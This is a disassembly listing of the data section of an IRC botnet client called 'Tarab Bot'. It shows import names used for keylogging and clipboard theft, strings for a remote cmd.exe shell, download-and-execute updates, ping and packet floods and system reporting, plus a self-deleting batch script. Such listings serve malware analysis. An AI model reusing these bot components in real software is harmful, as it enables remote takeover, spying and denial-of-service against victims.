aNtohs		db 'ntohs',0            ; DATA XREF: sub_409658+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409658+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409658+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409658+591o
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409658+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409658+577o
					; .data:0042F198o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409658+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_409658+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409658+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409658+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409658+536o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409658+529o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409658+51Co
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409658+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409658+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409658+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409658+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409658+476o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409658+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409658+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409658+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409658+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409658+435o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409658+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409658+420o
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409658:loc_409A67o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409658:loc_409A3Fo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409658+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409658+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409658+375o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409658+368o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409658+35Bo
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409658+34Eo
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409658+341o
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409658:loc_409991o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409658+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409658+2FCo
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409658:loc_40994Co
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409658+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409658+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409658+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409658+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409658+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409658+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409658:loc_4098B7o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409658+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409658+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409658+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409658:loc_409850o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409658+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409658+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409658+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409658+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409658+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409658+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409658+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409658+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409658:loc_40978Do
					; sub_420D8F+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409658:loc_409760o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409658+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409658+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409658+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409658+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409658+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409658+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409658+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409658+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409658+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409658+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409658+23o
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_409658+Ao
		align 10h
dword_42C960	dd 72023602h, 28201F62h, 65726F63h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40A2E5+2F2o
		dd 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A2E5+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40A863+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_40A928+5o
					; sub_41599D+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40A9AA+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AA4E+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AA70+140o
		align 8
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AA70+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AA70+48o
		align 4
unk_42CBA8	db    2			; DATA XREF: sub_40AC30:loc_40AD01o
		db 36h,	2, 72h
		db  62h	; b
		db 20h,	28h, 66h
		db  6Ch	; l
		db 75h,	73h, 68h
		db  64h	; d
		db 6Eh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNotSupportedBy	db ' Not supported by this system.',0
		align 4
dword_42CBE4	dd 72023602h, 28201F62h, 73756C66h, 736E6468h, 6C1F702Eh
					; DATA XREF: sub_40AC30:loc_40ACCFo
		dd 2029671Fh, 2BBBB02h
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
dword_42CC24	dd 72023602h, 28201F62h, 73756C66h, 736E6468h, 6C1F702Eh
					; DATA XREF: sub_40AC30:loc_40AC85o
		dd 2029671Fh, 2BBBB02h
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42CC58	db    2			; DATA XREF: sub_40AC30+45o
		db 36h,	2, 72h
		db  62h	; b
		db 20h,	28h, 66h
		db  6Ch	; l
		db 75h,	73h, 68h
		db  64h	; d
		db 6Eh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorGettingAr	db ' Error getting ARP cache: <%d>.',0
unk_42CC94	db    2			; DATA XREF: sub_40ADB1+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 10h
unk_42CCD0	db    2			; DATA XREF: sub_40ADB1+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42CD08	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AF3D+1C7o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42CD44	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AF3D+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B1BC+33o
dword_42CD8C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B243:loc_40B375o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42CDCC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B243+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42CE04	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B243:loc_40B329o
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 8
dword_42CE48	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B398+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_42CE8C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B398+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B398+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B54D+39o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B6ED+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B6ED+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B6ED:loc_40B851o
		align 4
word_42CFCC	dw 3Fh			; DATA XREF: sub_40B6ED:loc_40B7EFr
					; sub_40CEA1+1Fo
		align 10h
dword_42CFD0	dd 28207325h, 297325h	; DATA XREF: sub_40B6ED+EBo
dword_42CFD8	dd 3F3F3Fh		; DATA XREF: sub_40B6ED:loc_40B7B0o
					; .data:loc_41594Eo
a2003		db '2003',0             ; DATA XREF: sub_40B6ED+BAo
					; .data:0042EC20o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B6ED+AAo
					; .data:00415939o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B6ED+98o
					; .data:00415929o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40B6ED+7Eo
					; .data:00415910o
		align 10h
a98		db '98',0               ; DATA XREF: sub_40B6ED+6Co
					; .data:00415900o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B6ED+5Ao
					; .data:004158F0o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B6ED+46o
					; .data:004158E2o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40B9A1+ABo
		align 4
off_42D03C	dd offset loc_412F4B+3	; DATA XREF: sub_40B9A1:loc_40BA15o
dword_42D040	dd 4E414Ch		; DATA XREF: sub_40B9A1:loc_40BA0Eo
dword_42D044	dd 6C616944h, 70752Dh	; DATA XREF: sub_40B9A1+5Eo
dword_42D04C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0 ; DATA XREF:	sub_40B9A1+48o
unk_42D060	db    2			; DATA XREF: sub_40BA67:loc_40BC24o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTarabBotFail_6	db '  Tarab Bot  Failed to connect to HTTP server.',0
unk_42D0A8	db    2			; DATA XREF: sub_40BA67:loc_40BC1Do
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTarabBotCouldN	db '  Tarab Bot  Could not open a connection.',0
		align 4
unk_42D0EC	db    2			; DATA XREF: sub_40BA67+1A6o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTarabBotInvali	db '  Tarab Bot  Invalid URL.',0
		align 10h
unk_42D120	db    2			; DATA XREF: sub_40BA67:loc_40BC00o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTarabBotFail_7	db '  Tarab Bot  Failed to get requested URL from HTTP server.',0
unk_42D174	db    2			; DATA XREF: sub_40BA67+192o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTarabBotUrlVis	db ' Tarab Bot URL visited.',0
		align 4
asc_42D1A8	db '*/*',0              ; DATA XREF: sub_40BA67+3Bo
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_40BD15+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_40BD15+10o
		align 4
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BD8D+60o
		align 4
dword_42D1EC	dd 72023602h, 28201F62h, 73676F6Ch, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BE2D:loc_40BE62o
		dd 2BBBB02h
aTarabBotCleare	db '  Tarab Bot  Cleared.',0
		align 4
dword_42D21C	dd 72023602h, 28201F62h, 73676F6Ch, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BE2D+20o
		dd 2BBBB02h
aTarabBotClea_0	db '  Tarab Bot Cleared.',0
		align 4
unk_42D24C	db    2			; DATA XREF: sub_40BEA0+DCo
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotListCo	db 'Tarab Bot  List complete.',0
		align 10h
dword_42D280	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40BEA0+3Fo
		dd 2BBBB02h, 72615420h,	42206261h, 4220746Fh, 6E696765h
		dd 0
dword_42D2AC	dd 80000002h		; DATA XREF: sub_40BFCF+24r
off_42D2B0	dd offset aSoftwareMicr_0 ; DATA XREF: sub_40BFCF+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 42EA3Ch, 80000001h, 42EA74h, 0
dword_42D2C8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C16F+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42D30C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C16F+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42D34C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C16F+47o
					; sub_40C330+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 10h
dword_42D380	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C330+362o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42D3A8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C330+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42D3F8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C330+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42D42C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C330+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42D454	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C330+16Ao
		dd 169h
dword_42D46C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C330+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42D49C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C330+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42D4D0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C330+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 8
unk_42D508	db    2			; DATA XREF: sub_40C6D2+1CFo
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  64h	; d
		db 2 dup(63h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotTransf	db ' Tarab Bot  Transfer complete from IP: %s, Filename: %s (%s bytes'
		db ').',0
unk_42D564	db    2			; DATA XREF: sub_40C6D2+156o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  64h	; d
		db 2 dup(63h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotSocket	db ' Tarab Bot  Socket error.',0
		align 4
unk_42D598	db    2			; DATA XREF: sub_40C6D2+CBo
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  64h	; d
		db 2 dup(63h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotErrorO	db ' Tarab Bot  Error opening socket.',0
		align 8
unk_42D5D8	db    2			; DATA XREF: sub_40C6D2+ABo
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  64h	; d
		db 2 dup(63h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotErro_0	db ' Tarab Bot  Error opening file for writing.',0
aAB		db 'a+b',0              ; DATA XREF: sub_40C6D2+97o
dword_42D620	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C6D2+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
dword_42D660	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+480o
		dd 2029671Fh, 2BBBB02h
aTarabBotBadUrl	db ' Tarab Bot   Bad URL, or DNS Error: %s.',0
		align 8
dword_42D6A8	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+472o
		dd 2029671Fh, 2BBBB02h
aTarabBotUpdate	db ' Tarab Bot   Update failed: Error executing file: %s.',0
		align 10h
unk_42D700	db    2			; DATA XREF: sub_40C90D+3B6o
		db 36h,	2, 72h
		db  62h	; b
		db 20h,	28h, 64h
		db  6Fh	; o
		db 77h,	6Eh, 6Ch
		db  6Fh	; o
		db 61h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotDownlo	db 'Tarab Bot   Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
dword_42D758	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+34Do
		dd 2029671Fh, 2BBBB02h
aTarabBotOpened	db ' Tarab Bot   Opened: %s.',0
		align 10h
aOpen		db 'open',0             ; DATA XREF: sub_40C90D+32Bo
					; sub_40EC43+2B0Ao ...
		align 4
dword_42D798	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+2D6o
		dd 2029671Fh, 2BBBB02h
aTarabBotDown_0	db ' Tarab Bot   Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
dword_42D7F0	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+257o
		dd 2029671Fh, 2BBBB02h
aTarabBotCrcFai	db ' Tarab Bot   CRC Failed (%d != %d).',0
dword_42D830	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+1CDo
		dd 2029671Fh, 2BBBB02h
aTarabBotFilesi	db ' Tarab Bot   Filesize is incorrect: (%d != %d).',0
		align 10h
dword_42D880	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D:loc_40CAA5o
		dd 2029671Fh, 2BBBB02h
aTarabBotUpda_0	db ' Tarab Bot   Update: %s (%dKB transferred).',0
dword_42D8C8	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+191o
		dd 2029671Fh, 2BBBB02h
aTarabBotFileDo	db ' Tarab Bot   File download: %s (%dKB transferred).',0
		align 4
dword_42D918	dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh
					; DATA XREF: sub_40C90D+77o
		dd 2029671Fh, 2BBBB02h
aTarabBotCouldn	db ' Tarab Bot   Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40CEA1:loc_40CEE4o
					; sub_40DD54+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40CEA1:loc_40CEDEo
aDisk		db 'Disk',0             ; DATA XREF: sub_40CEA1:loc_40CED8o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40CEA1:loc_40CED2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40CEA1:loc_40CECCo
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40CEA1:loc_40CEC6o
aFailed		db 'failed',0           ; DATA XREF: sub_40CF32:loc_40D00Ao
					; sub_40D04D+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40CF32+6Bo
		align 4
unk_42D998	db    2			; DATA XREF: sub_40D04D+8Eo
		db 36h,	2, 72h
		db  62h	; b
		db 20h,	28h, 63h
		db  6Fh	; o
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSDriveSSTotalS	db ' %s Drive (%s): %s total, %s free, %s available.',0
		align 8
dword_42D9E8	dd 72023602h, 28201F62h, 65726F63h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D04D+58o
		dd 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_40D11F:loc_40D164o
dword_42DA38	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D2C2+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42DA84	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D2C2+E3o
; ---------------------------------------------------------------------------

loc_42DAA0:				; DATA XREF: sub_40D2C2+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42DAB4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D2C2+13Fo
dword_42DAC8	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D476+58o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D476+16o
					; sub_40EC43+5E1o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D476+Fo
					; sub_40EC43+5EDo
		align 8
off_42DAE8	dd offset aAdd		; DATA XREF: sub_40D511+6Dr
